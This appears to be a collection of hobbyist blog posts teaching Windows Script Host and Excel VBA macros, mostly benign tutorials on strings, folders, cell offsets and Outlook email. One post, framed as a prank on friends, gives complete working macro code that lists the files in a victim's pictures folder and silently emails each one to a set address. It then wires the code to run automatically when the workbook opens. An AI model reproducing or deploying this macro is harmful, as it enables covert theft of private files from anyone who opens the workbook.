WSH script : Introduction

WSH (Windows Script Host) is a scripting language that enable us to do automation for  Microsoft Windows operating systems.

To start WSH doing scripting is really simple.
Open a notepad and wrote the script inside the notepad.

For example

WScript.Echo "Welcome to WSH scripting"
WScript.Quit

Rename the file to .vbs. For example Hello_world.vbs
To run the script, just double click on the .vbs file.
The result should show a pop up like this

In case you need to do editing for your script, right click
on the .vbs file and select edit. It should open the file
using notepad.

EXCEL macro : hacking your friends computer and stealing their picture

Yes, you read the title right. You can play pranks on your friends and steal their pictures.

Did you notice why excel always emphasize you to run macro from trusted source. You can really do nasty thing such as planting a key logger or virus inside a pc, stealing information, deleting files ,etc with EXCEL macro.

I wrote this code for self testing and learning purpose. You can try it at your own risk

What this code will do,
1) Access your "My Picture" folder. In this example I target the "Sample Pictures" folder
2) List down all the file you have inside the "Sample Picture" folder and save it to ScriptOutput.txt.
3) Import the file to excel sheet
4) Send mail to designated mail address with picture as attachments

Code for module
=====================================================

 Sub stealingpic()  
 Dim fso, folder, files, OutputFile  
 Dim strPath  
 Dim wbI As Workbook, wbO As Workbook  
 Dim wsI As Worksheet  
 'Define desktop path  
   Myuser = Environ("userprofile")  
   Myuserdesktop = Myuser & "\Desktop"  
 ' Create a FileSystemObject  
   Set fso = CreateObject("Scripting.FileSystemObject")  
 ' Define folder we want to list files from. You can change the folder name  
   strPath = "C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures"  
   Set folder = fso.GetFolder(strPath)  
   Set files = folder.files  
 ' Create text file to output test data  
   Set OutputFile = fso.CreateTextFile(Myuserdesktop & "\ScriptOutput.txt", True)  
 ' Loop through each file  
   For Each Item In files  
  ' Output file properties to a text file  
  OutputFile.WriteLine (Item.Name)  
   Next  
 ' Close text file  
   OutputFile.Close  
 'to import ScriptOutput.txt to current Excel workbook  
   Set wbI = ThisWorkbook  
   Set wsI = wbI.Sheets("Sheet1") '<~~ Sheet where you want to import  
   Set wbO = Workbooks.Open(Myuserdesktop & "\ScriptOutput.txt")  
   wbO.Sheets(1).Cells.Copy wsI.Cells  
   wbO.Close SaveChanges:=False  
   Sheet1.Activate  
   Sheet1.Columns("A:A").Select  
 'deleting the .ini file from list  
   Selection.Find(What:=".ini", After:=ActiveCell, LookIn:=xlFormulas, LookAt:= _  
   xlPart, SearchOrder:=xlByRows, SearchDirection:=xlNext, MatchCase:=False).Activate  
   ActiveCell.Select  
   Selection.Delete  
    LastRow = ActiveCell.SpecialCells(xlCellTypeLastCell).Row  
 'Sending mail with the pictures as attachments  
 For i = 1 To LastRow  
   If Sheet1.Cells(i, 1) = " " Then  
   End  
   Else  
   Set App = CreateObject("Outlook.Application")  
   Set itm = App.CreateItem(olMailItem)  
   With itm  
   esubject = "i am stealing your picture"  
   file = Sheet1.Cells(i, 1).Value  
   Fileiwant = strPath & "\" & file  
   If Fileiwant = strPath & "\" Then  
   End  
   End If  
   sAttachment = Fileiwant  
   .Subject = esubject  
   .To = "your mail@gmail.com"  
   .cc = ccto  
   .Attachments.Add (Fileiwant)  
   .send  
   Set App = Nothing  
   Set itm = Nothing  
   End With  
   End If  
 Next i  
 End Sub  

=====================================================

To automate the task whenever the workbook is open, put this code inside This Workbook

Code for This Workbook
=====================================================

 Private Sub Workbook_Open()  
 stealingpic  
 End Sub  

=====================================================

EXCEL macro : String manipulation (EXACT,CONCATENATE,ISBLANK,ISNUMBER)

In this post, I will explain more on string manipulation (EXACT,CONCATENATE,ISBLANK,ISNUMBER).
The function on the worksheet and vba code are a bit different, so you need to pay attention on this.

EXACT              -> Checks to see if two text values are identical (case sensitive)
CONCATENATE  -> Joins several text items into one text item
ISBLANK           -> Refers to an Empty Cell, Function returns True or False
ISNUMBER         -> Refers to a Cell, Function returns True or False.



Below, I'll show on how to use EXACT,CONCATENATE,ISBLANK,ISNUMBER in both
worksheet function and vba code.


Worksheet function

Vba code
=====================================================

 Sub str()  
 Dim a, b, c, d, e, f, g, h, i As String  
 a = Sheet1.Cells(2, 1).Value 'Saya  
 b = Sheet1.Cells(2, 2).Value 'suka  
 c = Sheet1.Cells(2, 3).Value 'makan  
 d = Sheet1.Cells(2, 4).Value 'nasi  
 e = Sheet1.Cells(2, 5).Value 'Saya  
 f = Sheet1.Cells(3, 1).Value '1  
 g = Sheet1.Cells(3, 2).Value '2  
 h = Sheet1.Cells(3, 3).Value '3  
 i = Sheet1.Cells(3, 4).Value '4  
 j = Sheet1.Cells(4, 1).Value  
 'conjugate  
 Sheet1.Cells(19, 1).Value = a & b & c & d & f & g & h & i  
 Sheet1.Cells(20, 1).Value = a & " " & b & " " & c & " " _  
 & " " & d & " " & f & g & h & i  
 'isempty  
 Sheet1.Cells(21, 1).Value = IsEmpty(c)  
 Sheet1.Cells(22, 1).Value = IsEmpty(j)  
 'exact  
 Sheet1.Cells(23, 1).Value = a = b  
 Sheet1.Cells(24, 1).Value = a = e  
 'isnumberic  
 Sheet1.Cells(25, 1).Value = IsNumeric(a)  
 Sheet1.Cells(26, 1).Value = IsNumeric(f)  
 End Sub  
 Sub delete()  
 Dim i As Integer  
 For i = 19 To 26  
 Sheet1.Cells(i, 1).Value = " "  
 Next i  
 End Sub  

=====================================================

Download example

EXCEL macro : String manipulation (how to display character in your worksheet)

In this post, I'll show how to get character on your EXCEL worksheets.

In VB, there are some characters that do not appear on the keyboard. Also there are characters that are not visible, but rather actions, like TAB, ENTER, BACKSPACE, etc.

Why it is useful to know about character? For example ,vb syntax already have this " " syntax to represent a string. If you want the string to have this " character inside it, then it will be a problems.

Ex

text ="My name is "Nidzam""

VB compiler will detect this as error. So we can fix this in 2 ways. One using double "" and the other one using chr.

 ====================================================

 Sub try1()  
  Text = "My name is ""Nidzam"""  
  MsgBox Text  
  End Sub  

=====================================================

=====================================================

 Sub try2()  
  Text = "My name is " & Chr(34) & "Nidzam" & Chr(34)  
  MsgBox Text  
  End Sub  

=====================================================

So in EXCEL we can show char  in two ways. One using the worksheets function and the other one

using VB code.

OK. To do this on worksheets, we just click on the specify cells an write this below functions

=CHAR(number of character that you want to display).

Oh! I forgot to mention that you need to know the character number you want to display.

You can found about it here

gtwiki

In vb code, the char code is as below

CHR(number of character that you want to display)

In the example, I created a macro to display chr in sheet1.

VB example

=====================================================

 Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)  
 Sub Char()  
 'Dim Chr As Characters  
 Dim i As Integer  
 For i = 4 To 67  
 Sheet1.Cells(i, 1).Value = Chr(i - 3)  
 Sheet1.Cells(i, 2).Value = "Chr(" & i - 3 & ")"  
 'Sleep 50  
 Next i  
 For i = 4 To 67  
 Sheet1.Cells(i, 3).Value = Chr(i + 61)  
 Sheet1.Cells(i, 4).Value = "Chr(" & i + 61 & ")"  
 'Sleep 50  
 Next i  
 For i = 4 To 67  
 Sheet1.Cells(i, 5).Value = Chr(i + 125)  
 Sheet1.Cells(i, 6).Value = "Chr(" & i + 125 & ")"  
 'Sleep 50  
 Next i  
 For i = 4 To 67   
 Sheet1.Cells(i, 7).Value = Chr(i + 188)  
 Sheet1.Cells(i, 8).Value = "Chr(" & i + 188 & ")"  
 'Sleep 50  
 Next i  
 End Sub  
 Sub reset() 'this to reset back sheet1  
   Range("A4").Select  
   ActiveWindow.SmallScroll Down:=63  
   Range("A4:H67").Select  
   Selection.ClearContents  
   Range("A4").Select  
 End Sub  

=====================================================

Try the code to learn it.

Download example

EXCEL macro : Generating Outlook HTML style email with table

In this post I will show how to create HTML style Outlook email using VBA.

In the example, I will create table inside the mail and using excel cells reference as the items for the table.

=====================================================

 Sub Mail()  
 Dim App As Object  
 Dim item As Object  
 Dim StrBody As String  
 Dim StrBody2 As String  
 Dim sAttachment As String  
 'Make attachment a string because it is the path being attached  
 On Error GoTo ende  
 esubject = "This is a test mail"  
 sendto = "me@gmail"  
 ccto = "me@gmail "  
 'sAttachment = strzipFile  
 StrBody = "This my test mail" & "<br>" & "<br>" & _  
 "This is for learning purposes" & "<br>" & _  
 "Let me know if you need anything" & "<br>" & _  
 "Don't hesitate" & "<br>" & "<br>"  
 Data1 = Sheet1.Cells(3, 2).Value  
 Data2 = Sheet1.Cells(4, 2).Value  
 Data3 = Sheet1.Cells(5, 2).Value  
 Data4 = Sheet1.Cells(6, 2).Value  
 Data5 = Sheet1.Cells(7, 2).Value  
 Data6 = Sheet1.Cells(8, 2).Value  
 HTML = "<HTMl><BODY><table border=""1"" width=""750"">"  
 ROW1 = "<tr><td width=""50"">#</td><td width=""200"">Item no</td><td width=""500"">Item</td></tr>"  
 ROW2 = "<tr><td width=""50"">1</td><td width=""200"">Item1</td><td width=""500"">" & Data1 & "</td></tr>"  
 ROW3 = "<tr><td width=""50"">2</td><td width=""200"">Item2</td><td width=""500"">" & Data2 & "</td></tr>"  
 ROW4 = "<tr><td width=""50"">3</td><td width=""200"">Item3</td><td width=""500"">" & Data3 & "</td></tr>"  
 ROW5 = "<tr><td width=""50"">4</td><td width=""200"">Item4</td><td width=""500"">" & Data4 & "</td></tr>"  
 ROW6 = "<tr><td width=""50"">5</td><td width=""200"">Item5</td><td width=""500"">" & Data5 & "</td></tr>"  
 ROW7 = "<tr><td width=""50"">6</td><td width=""200"">Item6</td><td width=""500"">" & Data6 & "</td></tr></table>"  
 ebody = HTML & ROW1 & ROW2 & ROW3 & ROW4 & ROW5 & ROW6 & ROW7  
 StrBody2 = "<br>" & "<br>" & _  
 "Thank you" & "<br>" & "<br>" & _  
 "Nidzam" & "<br>"  
 Set App = CreateObject("Outlook.Application")  
 Set itm = App.CreateItem(olMailItem)  
 With itm  
 .Subject = esubject  
 .To = sendto  
 .cc = ccto  
 '.Attachments.Add (strzipFile)  
 .HTMLBody = StrBody & ebody & StrBody2  
 .Display  
 Set App = Nothing  
 Set itm = Nothing  
 ende:  
 End With  
 End Sub  

=====================================================

below are the output

Download example

EXCEL macro: Generating outlook email using VB

Do you know we can use excel macro to generate outlook emails?
This is very useful if you want to create an auto reporting application.
I use this a lot to create auto report template for my daily tasks and help me to save a lots of time.
The code for generating outlook emails is as below

=====================================================

 Sub outlook_mail()  
 Dim App As Object  
 Dim item As Object  
 Dim strzipFile As String  
 Dim esubject As String  
 Dim sendto As String  
 Dim ccto As String  
 Dim text As String  
 strzipFile = "Specify file name you want to attached here"  
 ' setting up outlook application  
 Set App = CreateObject("Outlook.Application")  
 Set itm = App.CreateItem(olMailItem)  
 'mail address setting  
 fromme = "my mail@adress"  
 sendto = "mail@adress"  
 ccto = "mail@adress"  
 'title setting  
 esubject = "This my test mail"  
 'body content  
 text = text & "This is my test mail" & vbNewLine  
 text = text & "Regards" & vbNewLine  
 text = text & "Nidzam" & vbNewLine  
 With itm  
 .Subject = esubject  
 .SentOnBehalfOfName = fromme  
 .To = sendto  
 .cc = ccto  
 'for this example I disable the attchment function  
 '.Attachments.Add (strzipFile)  
 .Body = text  
 'this will display the email before you send it  
 .Display  
 'if you don't want to display the mail, put below command instead of .Display  
 '.Send  
 'to clear memory  
 Set App = Nothing  
 Set itm = Nothing  
 ende:  
 End With  
 End Sub  

=====================================================

Sorry guys. i don't have example for this one because
I just wrote in one of work related template. I'm too lazy today
to paste it into another workbook. I'll just print screen the outlook
mail so you can have an idea how the output looks like.

I'll try to elaborate more on report automation using outlook if got the time.

EXCEL macro : How to get all the file name from a folder, list the file name into a file then import the file list inside current workbook

This below code is a modification from my previous post.
In the previous post I output it into a .txt file and open the file for viewing.
This post will show how to code it to import the file from
txt file to current workbook sheet. In the example I will import it to "data" sheet.

 ====================================================

 Sub getfilename()  
 Dim fso, folder, files, OutputFile  
 Dim strPath  
 Dim wbI As Workbook, wbO As Workbook  
 Dim wsI As Worksheet  
   Myuser = Environ("userprofile")  
   Myuserdesktop = Myuser & "\Desktop"  
 ' Create a FileSystemObject  
   Set fso = CreateObject("Scripting.FileSystemObject")  
 ' Define folder we want to list files from  
   strPath = "C:\Users\Public\Pictures\Sample Pictures"  
   Set folder = fso.GetFolder(strPath)  
   Set files = folder.files  
 ' Create text file to output test data  
   Set OutputFile = fso.CreateTextFile(Myuserdesktop & "\ScriptOutput.txt", True)  
 ' Loop through each file  
   For Each Item In files  
  ' Output file properties to a text file  
  OutputFile.WriteLine (Item.Name)  
   Next  
 ' Close text file  
   OutputFile.Close  
 ' import to data sheet  
   Set wbI = ThisWorkbook  
   Set wsI = wbI.Sheets("data") '<~~ Sheet where you want to import  
   Set wbO = Workbooks.Open(Myuserdesktop & "\ScriptOutput.txt")  
   wbO.Sheets(1).Cells.Copy wsI.Cells  
   wbO.Close SaveChanges:=False  
   Sheets("data").Select  
 End Sub  

 ====================================================

Download example

EXCEL macro : How to get all the file name from a folder, list the file name into a file then open the file to view it

This post will show you how to get  all the file name from a folder, list the file name into a file then open the file to view it. For this code example, I will try to get all the file name from my C:\Users\Public\Pictures\Sample Pictures folder. You can can this file name folder to whatever folder name that you want. Then I will output this result to ScriptOutput.txt on my desktop than open it.
The code is as below
=====================================================

 Sub getfilename()  
 Dim fso, folder, files, OutputFile  
 Dim strPath  
   Myuser = Environ("userprofile")  
   Myuserdesktop = Myuser & "\Desktop"  
 ' Create a FileSystemObject  
   Set fso = CreateObject("Scripting.FileSystemObject")  
 ' Define folder we want to list files from  
   strPath = "C:\Users\Public\Pictures\Sample Pictures"  
   Set folder = fso.GetFolder(strPath)  
   Set files = folder.files  
 ' Create text file to output test data  
   Set OutputFile = fso.CreateTextFile(Myuserdesktop & "\ScriptOutput.txt", True)  
 ' Loop through each file  
   For Each Item In files  
  ' Output file properties to a text file  
  OutputFile.WriteLine (Item.Name)  
   Next  
 ' Close text file  
   OutputFile.Close  
 ' View text file  
   Set objShell = CreateObject("Shell.Application")  
   objShell.ShellExecute Myuserdesktop & "\ScriptOutput.txt"  
 End Sub  

=====================================================

Download example

EXCEL Macro : Moving cell around using Offset

We can actually move cell around using offset function.
For example, you select and activate cell B2.
Range("B2").Select

If you want to move the cell up to cell B1
ActiveCell.Offset(-1,0).Select

to move the cell to cell B3
ActiveCell.Offset(1,0).Select


to move the cell to cell A2
ActiveCell.Offset(0,-1).Select


to move the cell to cell C2
ActiveCell.Offset(0,1).Select

Below are code that I wrote to play around with offset function.
This code will move the cell around while changing the colour of
the cell

========================================================

'declaring library for sleep function
Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Sub offset_run()

For i = 1 To 4

Range("G16").Select
Range("G16").Interior.Color = RGB(200, 100, 35)
Sleep 500

Range("G16").Select
ActiveCell.Offset(-i, 0).Select
ActiveCell.Interior.Color = RGB(200, 160, 35)
Sleep 500

Range("G16").Select
ActiveCell.Offset(0, -i).Select
ActiveCell.Interior.Color = RGB(200, 160, 35)
Sleep 500

Range("G16").Select
ActiveCell.Offset(i, 0).Select
ActiveCell.Interior.Color = RGB(200, 160, 35)
Sleep 500

Range("G16").Select
ActiveCell.Offset(0, i).Select
ActiveCell.Interior.Color = RGB(200, 160, 35)
Sleep 500

Next i

End Sub

=========================================================
Sub reset()
For i = 1 To 4

Range("G16").Select
Range("G16").Interior.Color = RGB(0, 0, 0)
Sleep 500

Range("G16").Select
ActiveCell.Offset(-i, 0).Select
ActiveCell.Interior.Color = RGB(0, 0, 0)
Sleep 500

Range("G16").Select
ActiveCell.Offset(0, -i).Select
ActiveCell.Interior.Color = RGB(0, 0, 0)
Sleep 500

Range("G16").Select
ActiveCell.Offset(i, 0).Select
ActiveCell.Interior.Color = RGB(0, 0, 0)
Sleep 500

Range("G16").Select
ActiveCell.Offset(0, i).Select
ActiveCell.Interior.Color = RGB(0, 0, 0)
Sleep 500

Next i
End Sub

==========================================================

download example

EXCEL macro : running event when starting workbook

We can actually automatically run a macro, trigger event when we open a workbook.

The code is as below

=================================================

Private Sub Workbook_Open()

MsgBox ("Welcome to script aku")

End Sub

=================================================

However, in order to do this do not write the code inside module.

Write the code in Workbook as below picture.

Download example here

EXCEL macro : How to get user path

For VB programming, sometimes we need to specify path for ex; make dir , removing dir etc.
If you are sharing your pc it will be quite a headache since you need to specify a path for each user.

for example if I'm logging to the pc, the user path will be
"C:\Users\nidzam"
if other people logging to it, it will be
"C:\Users\other user name"

It will make no sense in programming to hard code the path each time you want to specify a directory etc.

Below code will help to show you how to get the user path
=====================================================

 Sub userpath()  
 Dim Myuser As String  
 Myuser = Environ("userprofile")  
 MsgBox ("Current user path = ") & Myuser  
 End Sub  

=====================================================
The msgbox will show as below

to get another dir path, we can combine this set of code with intended

path. For example, I want to get current user desktop path.

The code is as below

=====================================================

 Sub userDesktoppath()  
 Dim Myuser As String  
 Dim Myuserdesktop As String  
 Myuser = Environ("userprofile")  
 Myuserdesktop = Myuser & "\Desktop"  
 MsgBox ("Current user path = ") & Myuser  
 End Sub  

=====================================================

Hope you find this code useful.

EXCEL macro : Search words and deleting row above words

For this post  I will show how to search for words and deleting row above the words. In this example, I will write some code to find words in sheet4 and deleting row above the cell if the words are found.

=====================================================

 Sub deleterow()  
  Sheet4.Activate 'activate sheet4  
  Sheet4.Columns("A:A").Select 'select range for column A  
 'this below command will search the word "my name " in columnA  
  Selection.Find(What:="my name", After:=ActiveCell, LookIn:=xlFormulas, LookAt:= _  
  xlPart, SearchOrder:=xlByRows, SearchDirection:=xlNext, MatchCase:=False).Activate  
  ActiveCell.Select  
  'this command will set the range 1 cell above the word "my name " if found till cell A1  
  Range(ActiveCell.Offset(-1, 0), "A1").Select  
 'this command will delete the selected range  
 Selection.Delete (xlUp)  
 end sub()  

=====================================================

EXCEL macro : Creating folder

In this post, I will write some coding on how to check if folder exits, creating folder and opening the folder.This example folder will be name TEST and created on desktop

For this example I'll show how to do it one by one for easy understanding.
However you can actually combine the code into one sub.

Checking if folder exist
==================================================

 Sub Check_folder()  
 Dim FSO As Object  
 Set FSO = CreateObject("scripting.filesystemobject")  
 FolderPath = "C:\"  
 PathName = Environ("userprofile") 'this will detect current pc user  
 FolderPath1 = PathName & "\Desktop\TEST"  
 If FSO.FolderExists(FolderPath1) = False Then  
 MsgBox ("Folder not exist")  
 End If  
 If FSO.FolderExists(FolderPath1) = True Then  
 MsgBox ("Folder existed")  
 End If  
 End Sub  

==================================================

Creating folder
==================================================

 Sub Create_folder()  
 Dim FSO As Object  
 Set FSO = CreateObject("scripting.filesystemobject")  
 FolderPath = "C:\"  
 PathName = Environ("userprofile")  
 FolderPath1 = PathName & "\Desktop\TEST"  
 If FSO.FolderExists(FolderPath1) = False Then  
 MkDir (FolderPath1)  
 MsgBox ("Folder ") & FolderPath1 & (" Created")  
 End  
 End If  
 If FSO.FolderExists(FolderPath1) = True Then  
 MsgBox FolderPath1 & " already exist"  
 End  
 End If  
 End Sub  

==================================================

Opening folder
==================================================

 Sub Open_folder()  
 FolderPath = "C:\"  
 PathName = Environ("userprofile")  
 FolderPath1 = PathName & "\Desktop\TEST"  
 ActiveWorkbook.FollowHyperlink Address:=FolderPath1, NewWindow:=True  
 End Sub  

==================================================

Besides hard coding the folder name, you can also use cell value for the folder name.
Sheet1(which sheet you want to use as reference).Cells(i, j)(Which cells you want to refer).Value
You can refer below coding for the example.

Checking if folder exist (using cell reference)
==================================================

 Sub Check_folder_cell()  
 Dim FSO As Object  
 Set FSO = CreateObject("scripting.filesystemobject")  
 FolderPath = "C:\"  
 PathName = Environ("userprofile")  
 FolderPath1 = PathName & "\Desktop\" & Sheet1.Cells(19, 2).Value  
 If FSO.FolderExists(FolderPath1) = False Then  
 MsgBox ("Folder not exist")  
 End If  
 If FSO.FolderExists(FolderPath1) = True Then  
 MsgBox ("Folder existed")  
 End If  
 End Sub  

==================================================


To download this example
Download example

EXCEL macro : open website

Insert this code into module. You can try running it using F8 button.

=====================================================

 Sub internet()  
 Dim Websitename As String  
 Websitename = "http://scriptaku.blogspot.com/" 'Change the link name here  
 ActiveWorkbook.FollowHyperlink Address:=Websitename, NewWindow:=True  
 End Sub  

=====================================================

download example

EXCEL macro : Introduction

We are using EXCEL to do our daily data managements and report.

Actually we can do more than this and do some automation for
our data analysis, generating auto reports, sending mail ,zipping file,and etc using EXCEL. We can do this using EXCEL macro (VBA language scripting in EXCEL).

To start doing macro
Open your EXCEL.
Press ALT+F11,
Microsoft Visual basic for application window will appear
as below

to start coding,
go to INSERT tab, and select Module.
Module window will appear. This is where you do the coding.